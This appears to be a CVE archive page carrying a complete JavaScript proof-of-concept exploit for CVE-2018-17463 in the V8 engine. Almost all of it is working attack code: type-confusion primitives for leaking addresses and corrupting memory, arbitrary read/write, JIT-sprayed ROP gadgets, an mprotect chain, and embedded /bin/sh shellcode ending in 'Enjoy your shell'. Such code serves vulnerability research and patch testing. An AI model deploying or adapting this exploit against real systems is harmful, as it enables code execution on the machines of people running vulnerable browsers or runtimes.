4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2018-17463.js JS
/**
 *  Steps to Exploit
 *  -----------------------------------------
 *  1) check if vulnerable
 *  2) find overlapping properties
 *  3) create read priv
 *  4) create write priv
 *  5) conduct a memory write
 *  6) conduct a full /bin/sh exploit for fun.
 *  7) look into JIT for fun and profit
 */


const NUM_PROPERTIES = 32;
const MAX_ITERATIONS = 100000;

/**
 *Need to reverse Engineer these conversions.
 * **/
let floatView = new Float64Array(1);
let uint64View = new BigUint64Array(floatView.buffer);
let uint8View = new Uint8Array(floatView.buffer);
Number.prototype.toBigInt = function toBigInt() {
	floatView[0] = this;
	return uint64View[0];
};

BigInt.prototype.toNumber = function toNumber() {
	uint64View[0] = this;
	return floatView[0];
};

function gc() {
    for (let i = 0; i < 100; i++) {
        new ArrayBuffer(0x100000);
    }
}

function checkVuln() {
	function hax(o) {
		//first step force the compiler to make a map check
		o.inline;
		Object.create(o);
		//force d8 to remove the map check
		return o.outline;
	}
	for (let i=0; i<MAX_ITERATIONS; i++) {
		o = {inline: 0x1337};
		o.outline = 0x1338;
		r = hax(o);
		if (r !== 0x1338)
		{
			return true;
		}
	}
	return false;
}


function makeObj(propertyValues) {
	let o = {inline: 0x1337};
	for (let i = 0; i < NUM_PROPERTIES; i++)
	{
		Object.defineProperty(o,'p' + i, {
			writable: true,
			value: propertyValues[i]
		});
	}
	return o;
}


let p1;
let p2;
function find_over_lapping() {
	let propertyNames = [];
	for (let i=0;i<NUM_PROPERTIES;i++)
	{
		propertyNames[i] = 'p' + i;
	}
	let command = `
		function hax(o) {
			let a = o.inline;
			this.Object.create(o);
			${propertyNames.map((p) => `let ${p} = o.${p};`).join('\n')}
			return [${propertyNames.join(', ')}];
		}
	`;
	eval(command);
	let propertyValues = [];
	for (let i = 1; i<NUM_PROPERTIES;i++)
	{
		propertyValues[i] = -i;
	}

	for(let j = 0;j<MAX_ITERATIONS; j++)
	{
		let findObj = makeObj(propertyValues);
		let r = hax(findObj);
		for (let i =0; i < NUM_PROPERTIES; i++)
		{
			if (i!==-r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) {
				[p1, p2] = [i, -r[i]]
				//%DebugPrint(findObj)
				//Math.cosh(1);
				return;
			}
		}
	}
	throw "Failed to find overlapping properties"
}

function addrof(obj) {
	command = `
		function hax(o) {
			let a = o.inline;
			this.Object.create(o);
			return o.p${p1}.x1;
		}
	`;
	
	eval(command);
	let propertyValues = [];
	propertyValues[p1] = {x1: 13.37, x2: 13.38};
	propertyValues[p2] = {y1: obj};
	for (let j=0;j<MAX_ITERATIONS;j++)
	{
		leakyObject = makeObj(propertyValues);
		let res = hax(leakyObject);
		if (res !== 13.37)
		{
			return res.toBigInt() - 1n;
		}
	}
}

function corrupt(victim,newValue) {
	eval(`
        function hax(o) {
            o.inline;
            this.Object.create(o);
            let orig = o.p${p1}.x2;
            o.p${p1}.x2 = ${newValue.toNumber()};
            return orig;
        }
        `);
	let propertyValues = [];
	let o = {x1: 13.37, x2: 13.38};

	propertyValues[p1] = o;
	propertyValues[p2] = victim;
	for (let j=0;j<MAX_ITERATIONS;j++)
	{
		o.x2 = 13.38;
		let evilObject = makeObj(propertyValues);
		let r = hax(evilObject);
		if (r !== 13.38)
		{
			return r.toBigInt() - 1n;
		}
	}
}
function pwn() {

	if (checkVuln())
	{
		let memViewBuf = new ArrayBuffer(2048);
		let driverBuf = new ArrayBuffer(2048);
		let rop_chainBuf = new ArrayBuffer(4096);
		//let shellcodeBuf = new ArrayBuffer(4096);

		let rop_chain = new BigUint64Array(rop_chainBuf);
		//let shellcode = new BigUint64Array(shellcodeBuf);


		/*************************
		 * bin sh shellcode
		 * ********************/
		shellcode = new Uint8Array([
		
			0x48,0x31,0xc9,0x48,0x81,0xe9,0xfa,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,0xff,0xff,0x48,0xbb,0xf8,
			0xc4,0x73,0x12,0xf2,0xb2,0xe0,0xea,0x48,0x31,0x58,0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0x92,
			0xff,0x2b,0x8b,0xba,0x09,0xcf,0x88,0x91,0xaa,0x5c,0x61,0x9a,0xb2,0xb3,0xa2,0x71,0x23,0x1b,0x3f,0x91,
			0xb2,0xe0,0xa2,0x71,0x22,0x21,0xfa,0xfa,0xb2,0xe0,0xea,0xd7,0xa6,0x1a,0x7c,0xdd,0xc1,0x88,0xea,0xae,
			0x93,0x3b,0x9b,0x14,0xbd,0xe5,0xea
		
		]);

		console.log("V8 is vulnerable to CVE-2018-17463");
		find_over_lapping();
		gc();

		let memViewBufAddr = addrof(memViewBuf);
		let origDriverBackingStorage = corrupt(driverBuf, memViewBufAddr);
		
		let driver = new BigUint64Array(driverBuf);
		let origMeMViewBackStore=driver[4];

		let memory = {
			write(addr, bytes) {
				driver[4] = addr;
				let memview = new Uint8Array(memViewBuf);
				memview.set(bytes);
			},
			read(addr, len) {
				driver[4] = addr;
				let memview = Uint8Array(memviewBuf);
				return memview.subarray(0,len);
			},
			read64(addr) {
				driver[4] = addr;
				let memview = new BigUint64Array(memViewBuf);
				return memview[0];
			},
			write64(addr, ptr) {
				driver[4] = addr;
				let memview = new BigUint64Array(memViewBuf);
				memview[0] = ptr;
			},
			addrof(obj) {
				memViewBuf.leakMe = obj
				let props = this.read64(memViewBufAddr +8n)
				return this.read64(props+15n) -1n;
			}

		}

		/**
		 *Jit Spray to get gadgets
		 * */
		let exploit_victim = {
			trigger : function() {
				return 0xBADF0Dn;
			},
			//piviot (%rsi) -> rsp
			stack_piviot_gadget : function() {
				return 0xc3268b48|0;
			},
			//pop rsi, pop rdi, pop rax
			pop_gadget: function() {
				return 0xc3585f5e|0;
			},
			//pop rdx; syscall; ret
			syscall_gadget: function() {
				//return 0xcc80cd5a|0;
				return 0xc3050f5a|0;
			}
		};

		for (let i = 0;i<100000;i++)
		{
			exploit_victim.trigger();
			exploit_victim.pop_gadget();
			exploit_victim.syscall_gadget();
			exploit_victim.stack_piviot_gadget();
		}

		/****
		* Getting Victim object address that contains trigger function and gadgets
		****/
		let exploit_victim_addr = memory.addrof(exploit_victim);

		let trigger_addr = memory.read64(exploit_victim_addr + 24n)-1n;

		//let trigger_code = memory.read64(trigger_addr+48n)-1n;
		
		let trigger_blockcontext = memory.read64(trigger_addr+32n);

		let pop_gadget = memory.read64(exploit_victim_addr +40n) -1n;
		pop_gadget = memory.read64(pop_gadget + 48n) -1n +176n;
		
		let syscall = memory.read64(exploit_victim_addr +48n) -1n;
		syscall = memory.read64(syscall + 48n) -1n +176n;
		console.log(`[+] syscall 0x${syscall.toString(16)} [+]`);

		let stack_piviot_gadget_addr = memory.read64(exploit_victim_addr + 32n) -1n;
		stack_piviot_gadget_addr = memory.read64(stack_piviot_gadget_addr+48n) - 1n + 176n;
		console.log(`[+] stackpivot 0x${stack_piviot_gadget_addr.toString(16)} [+]`);
		
		let shellcode_addr = memory.addrof(shellcode);
		shellcode_addr = memory.read64(shellcode_addr+24n)-1n;
		shellcode_addr = memory.read64(shellcode_addr+32n);
		console.log(`[+] shellcode 0x${shellcode_addr.toString(16)} [+]`);

		/**
		 *Ropchain to mprotect to make RWE memory page
		 * **/
		rop_chain[0] = pop_gadget; //start building the rop chain
		rop_chain[1] = 8192n; //rsi
		rop_chain[2] = shellcode_addr & 0xFFFFFFFFFFFFF000n; //rdi
		rop_chain[3] = 10n; //rax
		rop_chain[4] = syscall;
		rop_chain[5] = 0x7n; //rdx
		rop_chain[6] = shellcode_addr; //rip

		let rop_chain_addr = memory.addrof(rop_chain);
		rop_chain_addr = memory.read64(rop_chain_addr+24n)-1n;
		rop_chain_addr = memory.read64(rop_chain_addr+32n);

		console.log(`[+] RopChain  at 0x${rop_chain_addr.toString(16)} [+]`);
		Math.cosh(1);
		console.log('[+] Enjoy your shell [+]');
		memory.write64(trigger_addr+48n,stack_piviot_gadget_addr-0x44n);
		//Context is saved must be the last thing we do
		memory.write64(trigger_blockcontext,rop_chain_addr);
		exploit_victim.trigger();
	} else {
		console.log("v8 is not vulnerable to CVE-2018-17463");
	}
}

pwn();